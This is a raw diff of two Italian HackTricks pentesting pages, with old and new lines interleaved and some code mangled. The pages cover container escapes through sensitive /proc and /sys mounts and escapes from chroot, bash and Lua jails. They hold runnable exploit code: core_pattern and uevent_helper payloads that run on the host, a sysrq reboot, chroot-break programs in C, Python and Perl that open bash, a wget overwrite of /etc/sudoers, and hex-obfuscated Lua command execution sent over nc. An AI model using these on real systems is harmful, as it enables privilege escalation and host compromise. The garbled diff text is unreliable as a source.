Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Mount sensibili # Mount sensibili
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -20,7 +21,7 @@ Altri modi per supportare HackTricks:
L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce rischi significativi per la sicurezza, inclusa l'espansione della superficie di attacco e la divulgazione di informazioni. Queste directory contengono file sensibili che, se configurati in modo errato o accessibili da un utente non autorizzato, possono portare alla fuga del container, alla modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, il montaggio non corretto di `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata sul percorso, lasciando `/host/proc` non protetto. L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce rischi significativi per la sicurezza, inclusa l'espansione della superficie di attacco e la divulgazione di informazioni. Queste directory contengono file sensibili che, se configurati in modo errato o accessibili da un utente non autorizzato, possono portare alla fuga del container, alla modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, il montaggio non corretto di `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata sul percorso, lasciando `/host/proc` non protetto.
**Puoi trovare ulteriori dettagli su ciascuna vulnerabilità potenziale in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** **Puoi trovare ulteriori dettagli su ciascuna potenziale vulnerabilità in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## Vulnerabilità di procfs ## Vulnerabilità di procfs
@ -35,7 +36,7 @@ Questa directory consente l'accesso per modificare le variabili del kernel, di s
* **Esempio di test ed exploit**: * **Esempio di test ed exploit**:
```bash ```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test di accesso in scrittura [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Testa l'accesso in scrittura
cd /proc/sys/kernel cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Imposta un gestore personalizzato echo "|$overlay/shell.sh" > core_pattern # Imposta un gestore personalizzato
sleep 5 && ./crash & # Attiva il gestore sleep 5 && ./crash & # Attiva il gestore
@ -64,9 +65,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla l'accesso a modprobe
#### **`/proc/sys/fs/binfmt_misc`** #### **`/proc/sys/fs/binfmt_misc`**
* Consente di registrare interpreti per formati binari non nativi in base al loro numero magico. * Consente di registrare interpreti per formati binari non nativi in base al loro numero magico.
* Può portare a un'escalation dei privilegi o all'accesso alla shell di root se `/proc/sys/fs/binfmt_misc/register` è scrivibile. * Può portare a escalation dei privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
* Esploito e spiegato in modo dettagliato: * Esploito e spiegato in modo dettagliato:
* [Rootkit fai-da-te tramite binfmt\_misc](https://github.com/toffan/binfmt\_misc) * [Rootkit artigianale tramite binfmt\_misc](https://github.com/toffan/binfmt\_misc)
* Tutorial approfondito: [Link al video](https://www.youtube.com/watch?v=WBC7hhgMvQQ) * Tutorial approfondito: [Link al video](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Altri in `/proc` ### Altri in `/proc`
@ -78,7 +79,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla l'accesso a modprobe
#### **`/proc/sysrq-trigger`** #### **`/proc/sysrq-trigger`**
* Consente di invocare comandi Sysrq, causando potenzialmente riavvii immediati del sistema o altre azioni critiche. * Consente di invocare comandi Sysrq, potenzialmente causando riavvii immediati del sistema o altre azioni critiche.
* **Esempio di riavvio dell'host**: * **Esempio di riavvio dell'host**:
```bash ```bash
@ -122,7 +123,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
#### **`/proc/sched_debug`** #### **`/proc/sched_debug`**
* Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni dello spazio dei PID. * Restituisce informazioni sulla pianificazione dei processi, aggirando le protezioni dello spazio dei PID.
* Espone nomi dei processi, ID e identificatori cgroup. * Espone nomi dei processi, ID e identificatori cgroup.
#### **`/proc/[pid]/mountinfo`** #### **`/proc/[pid]/mountinfo`**
@ -135,7 +136,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
#### **`/sys/kernel/uevent_helper`** #### **`/sys/kernel/uevent_helper`**
* Usato per gestire i `uevent` dei dispositivi del kernel. * Usato per gestire i `uevent` dei dispositivi del kernel.
* Scrivere su `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi di `uevent` triggers. * Scrivere su `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi dei `uevent`.
* **Esempio di exploit**: %%%bash * **Esempio di exploit**: %%%bash
#### Crea un payload #### Crea un payload
@ -146,7 +147,7 @@ echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /ev
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
#### Imposta uevent\_helper su un helper malizioso #### Imposta uevent\_helper su helper malizioso
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
@ -173,7 +174,7 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`** #### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
* Espone interfacce per interagire con le variabili EFI nella NVRAM. * Espone interfacce per interagire con le variabili EFI nella NVRAM.
* Una errata configurazione o sfruttamento può portare a laptop bloccati o macchine host non avviabili. * Una cattiva configurazione o sfruttamento può portare a laptop bloccati o macchine host non avviabili.
#### **`/sys/kernel/debug`** #### **`/sys/kernel/debug`**
@ -190,16 +191,17 @@ cat /output %%%
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Escaping from Jails # Fuga dalle Prigioni
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **GTFOBins** ## **GTFOBins**
**Cerca in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **se puoi eseguire un binario con la proprietà "Shell"** **Cerca su** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **se puoi eseguire un qualsiasi binario con la proprietà "Shell"**
## Fughe di Chroot ## Fughe da Chroot
Da [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Il meccanismo chroot **non è inteso a difendersi** da manomissioni intenzionali da parte di utenti **privilegiati** (**root**). Sui sistemi più comuni, i contesti chroot non si impilano correttamente e i programmi chrooted **con privilegi sufficienti possono eseguire un secondo chroot per evadere**.\ Da [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Il meccanismo chroot **non è pensato per difendersi** da manomissioni intenzionali da parte di utenti **privilegiati** (**root**). Sui sistemi più comuni, i contesti chroot non si impilano correttamente e i programmi chrooted **con privilegi sufficienti possono eseguire un secondo chroot per evadere**.\
Di solito ciò significa che per evadere è necessario essere root all'interno del chroot. Di solito questo significa che per evadere devi essere root all'interno del chroot.
{% hint style="success" %} {% hint style="success" %}
Lo **strumento** [**chw00t**](https://github.com/earthquake/chw00t) è stato creato per sfruttare gli scenari seguenti e sfuggire a `chroot`. Lo **strumento** [**chw00t**](https://github.com/earthquake/chw00t) è stato creato per abusare degli scenari seguenti e scappare da `chroot`.
{% endhint %} {% endhint %}
### Root + CWD ### Root + CWD
{% hint style="warning" %} {% hint style="warning" %}
Se sei **root** all'interno di un chroot **puoi evadere** creando **un altro chroot**. Questo perché due chroot non possono coesistere (in Linux), quindi se crei una cartella e poi **crei un nuovo chroot** in quella nuova cartella essendo **fuori da essa**, sarai ora **fuori dal nuovo chroot** e quindi sarai nel FS. Se sei **root** all'interno di un chroot **puoi evadere** creando **un altro chroot**. Questo perché 2 chroots non possono coesistere (in Linux), quindi se crei una cartella e poi **crei un nuovo chroot** su quella nuova cartella essendo **fuori da essa**, sarai ora **fuori dal nuovo chroot** e quindi sarai nel FS.
Ciò accade perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere fuori da esso. Questo avviene perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere fuori da esso.
{% endhint %} {% endhint %}
Di solito non troverai il binario `chroot` all'interno di una prigione chroot, ma **potresti compilare, caricare ed eseguire** un binario: Di solito non troverai il binario `chroot` all'interno di una prigione chroot, ma **potresti compilare, caricare ed eseguire** un binario:
@ -40,14 +41,24 @@ Di solito non troverai il binario `chroot` all'interno di una prigione chroot, m
<details> <details>
<summary>C: break_chroot.c</summary> <summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
\`\`\`c #include #include #include //gcc break_chroot.c -o break_chroot
//gcc break\_chroot.c -o break\_chroot int main(void)
{
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); } mkdir("chroot-dir", 0755);
chroot("chroot-dir");
```` for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
```
</details> </details>
<details> <details>
@ -62,91 +73,99 @@ for i in range(1000):
os.chdir("..") os.chdir("..")
os.chroot(".") os.chroot(".")
os.system("/bin/bash") os.system("/bin/bash")
```` ```
</details> </details>
<details> <details>
<summary>Perl</summary> <summary>Perl</summary>
```perl
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\` #!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
```
</details> </details>
### Root + FD Salvato ### Root + File Descriptor Salvato
{% hint style="warning" %} {% hint style="warning" %}
Questo è simile al caso precedente, ma in questo caso l'**attaccante memorizza un file descriptor nella directory corrente** e quindi **crea il chroot in una nuova cartella**. Infine, poiché ha **accesso** a quel **FD all'esterno** del chroot, vi accede e **scappa**. Questo è simile al caso precedente, ma in questo caso l'**attaccante memorizza un descrittore di file nella directory corrente** e poi **crea il chroot in una nuova cartella**. Infine, poiché ha **accesso** a quel **FD** **al di fuori** del chroot, vi accede e **effettua l'escape**.
{% endhint %} {% endhint %}
<details> <details>
<summary>C: break_chroot.c</summary> <summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
\`\`\`c #include #include #include //gcc break_chroot.c -o break_chroot
//gcc break\_chroot.c -o break\_chroot int main(void)
{
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); } mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
```` if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}
```
</details> </details>
### Root + Fork + UDS (Unix Domain Sockets) ### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'> {% hint style="warning" %}
I file descriptor possono essere passati tramite Unix Domain Sockets, quindi: I file descriptor possono essere passati tramite Unix Domain Sockets, quindi:
* Crea un processo figlio (fork) * Crea un processo figlio (fork)
* Crea un UDS in modo che il processo padre e il processo figlio possano comunicare * Crea un UDS in modo che il genitore e il figlio possano comunicare
* Esegui chroot nel processo figlio in una cartella diversa * Esegui chroot nel processo figlio in una cartella diversa
* Nel processo padre, crea un file descriptor di una cartella che si trova al di fuori del chroot del nuovo processo figlio * Nel processo genitore, crea un file descriptor di una cartella che si trova al di fuori del nuovo chroot del processo figlio
* Passa al processo figlio quel file descriptor utilizzando l'UDS * Passa al processo figlio quel file descriptor utilizzando l'UDS
* Il processo figlio cambia la directory corrente a quella del file descriptor e, poiché si trova al di fuori del suo chroot, riesce a evadere la prigione * Il processo figlio cambia la directory di lavoro in quel file descriptor e, poiché si trova al di fuori del suo chroot, riuscirà a evadere la prigione
{% endhint %}
</div>
### Root + Mount ### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'> {% hint style="warning" %}
* Montare il dispositivo root (/) in una directory all'interno del chroot
* Monta il dispositivo root (/) in una directory all'interno del chroot * Eseguire il chroot in quella directory
* Esegui chroot in quella directory
Questo è possibile in Linux Questo è possibile in Linux
{% endhint %}
</div>
### Root + /proc ### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'> {% hint style="warning" %}
* Montare procfs in una directory all'interno del chroot (se non è già stato fatto)
* Monta procfs in una directory all'interno del chroot (se non è già montato) * Cercare un PID che abbia un'entrata root/cwd diversa, ad esempio: /proc/1/root
* Cerca un pid che abbia una voce root/cwd diversa, ad esempio: /proc/1/root * Eseguire il chroot in quell'entrata
* Esegui chroot in quella voce {% endhint %}
</div>
### Root(?) + Fork ### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'> {% hint style="warning" %}
* Creare un Fork (processo figlio) e chroot in una cartella diversa più in profondità nel file system e cambiare la directory di lavoro su di essa
* Crea un fork (processo figlio) ed esegui chroot in una cartella diversa più profonda nel file system e cambia la directory corrente in essa * Dal processo genitore, spostare la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli
* Dal processo padre, sposta la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli
* Questo processo figlio si troverà al di fuori del chroot * Questo processo figlio si troverà al di fuori del chroot
{% endhint %}
</div>
### ptrace ### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'> {% hint style="warning" %}
* Tempo fa gli utenti potevano eseguire il debug dei propri processi da un processo di se stessi... ma questo non è più possibile per impostazione predefinita
* Tempo fa gli utenti potevano eseguire il debug dei propri processi da un processo stesso... ma questo non è più possibile per impostazione predefinita * Comunque, se fosse possibile, potresti ptrace in un processo ed eseguire un shellcode al suo interno ([vedi questo esempio](linux-capabilities.md#cap\_sys\_ptrace)).
* Tuttavia, se è possibile, è possibile eseguire il ptrace su un processo ed eseguire un shellcode al suo interno ([vedi questo esempio](linux-capabilities.md#cap\_sys\_ptrace)). {% endhint %}
</div>
## Bash Jails ## Bash Jails
@ -159,115 +178,84 @@ echo $PATH
env env
export export
pwd pwd
```` ```
### Modifica del PATH
#### Modifica del PATH
Verifica se puoi modificare la variabile di ambiente PATH.
Verifica se puoi modificare la variabile di ambiente PATH
```bash ```bash
echo $PATH #See the path of the executables that you can use echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory echo /home/* #List directory
``` ```
### Utilizzo di vim
#### Utilizzo di vim
Vim è un potente editor di testo che può essere utilizzato per eseguire l'escalation dei privilegi in un sistema Linux limitato. Segui i passaggi seguenti per utilizzare vim per ottenere privilegi più elevati:
1. Apri una shell limitata utilizzando il comando `bash -r`.
2. Digita `vim` per avviare l'editor di testo vim.
3. Premi `:` per passare alla modalità di comando.
4. Digita `!` seguito da un comando che ti consentirà di ottenere privilegi più elevati. Ad esempio, puoi utilizzare `!bash` per aprire una nuova shell con privilegi di root.
5. Premi `Enter` per eseguire il comando e ottenere privilegi più elevati.
6. Ora sei in grado di eseguire comandi con privilegi di root utilizzando la nuova shell aperta da vim.
Ricorda che l'utilizzo di vim per l'escalation dei privilegi richiede una shell limitata e l'accesso a vim stesso.
```bash ```bash
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
``` ```
### Crea script
#### Crea script
Verifica se puoi creare un file eseguibile con _/bin/bash_ come contenuto Verifica se puoi creare un file eseguibile con _/bin/bash_ come contenuto
```bash ```bash
red /bin/bash red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path > w wx/path #Write /bin/bash in a writable and executable path
``` ```
### Ottenere bash da SSH
#### Ottenere bash da SSH
Se stai accedendo tramite ssh, puoi utilizzare questo trucco per eseguire una shell bash: Se stai accedendo tramite ssh, puoi utilizzare questo trucco per eseguire una shell bash:
```bash ```bash
ssh -t user@<IP> bash # Get directly an interactive shell ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i" ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i " ssh user@<IP> -t "() { :; }; sh -i "
``` ```
### Dichiarare
#### Dichiarazione
La dichiarazione è un comando utilizzato per assegnare un valore a una variabile in Bash. Viene utilizzato il seguente formato:
```bash
variabile=valore
```
Dove "variabile" è il nome della variabile e "valore" è il valore che si desidera assegnare ad essa.
```bash ```bash
declare -n PATH; export PATH=/bin;bash -i declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i BASH_CMDS[shell]=/bin/bash;shell -i
``` ```
### Wget
#### Wget È possibile sovrascrivere ad esempio il file sudoers
È possibile sovrascrivere ad esempio il file sudoers.
```bash ```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
``` ```
### Altri trucchi
#### Altri trucchi
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\ [https://gtfobins.github.io](https://gtfobins.github.io)\
**Potrebbe essere interessante anche la pagina:** **Potrebbe essere interessante anche la pagina:**
### Python Jails {% content-ref url="../bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../bypass-bash-restrictions/)
{% endcontent-ref %}
Trucchi per sfuggire alle prigioni di Python nella seguente pagina: ## Python Jails
### Lua Jails Trucchi per evadere dalle prigioni Python nella seguente pagina:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
## Lua Jails
In questa pagina puoi trovare le funzioni globali a cui hai accesso all'interno di Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) In questa pagina puoi trovare le funzioni globali a cui hai accesso all'interno di Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
**Eval con esecuzione di comandi:** **Valutazione con esecuzione di comandi:**
```bash ```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
``` ```
Alcuni trucchi per **chiamare le funzioni di una libreria senza usare i punti**:
Alcuni trucchi per **chiamare le funzioni di una libreria senza utilizzare i punti**:
```bash ```bash
print(string.char(0x41, 0x42)) print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42))
``` ```
Enumerare le funzioni di una libreria: Enumerare le funzioni di una libreria:
```bash ```bash
for k,v in pairs(string) do print(k,v) end for k,v in pairs(string) do print(k,v) end
``` ```
Nota che ogni volta che esegui il one liner precedente in un **ambiente lua diverso l'ordine delle funzioni cambia**. Pertanto, se hai bisogno di eseguire una funzione specifica, puoi effettuare un attacco a forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria:
Nota che ogni volta che esegui il precedente one-liner in un **diverso ambiente lua, l'ordine delle funzioni cambia**. Pertanto, se hai bisogno di eseguire una specifica funzione, puoi effettuare un attacco di forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria "le".
```bash ```bash
#In this scenario you could BF the victim that is generating a new lua environment #In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky #for every interaction with the following line and when you are lucky
@ -278,17 +266,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command #and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
``` ```
**Ottieni una shell lua interattiva**: Se ti trovi all'interno di una shell lua limitata, puoi ottenere una nuova shell lua (e sperabilmente illimitata) chiamando:
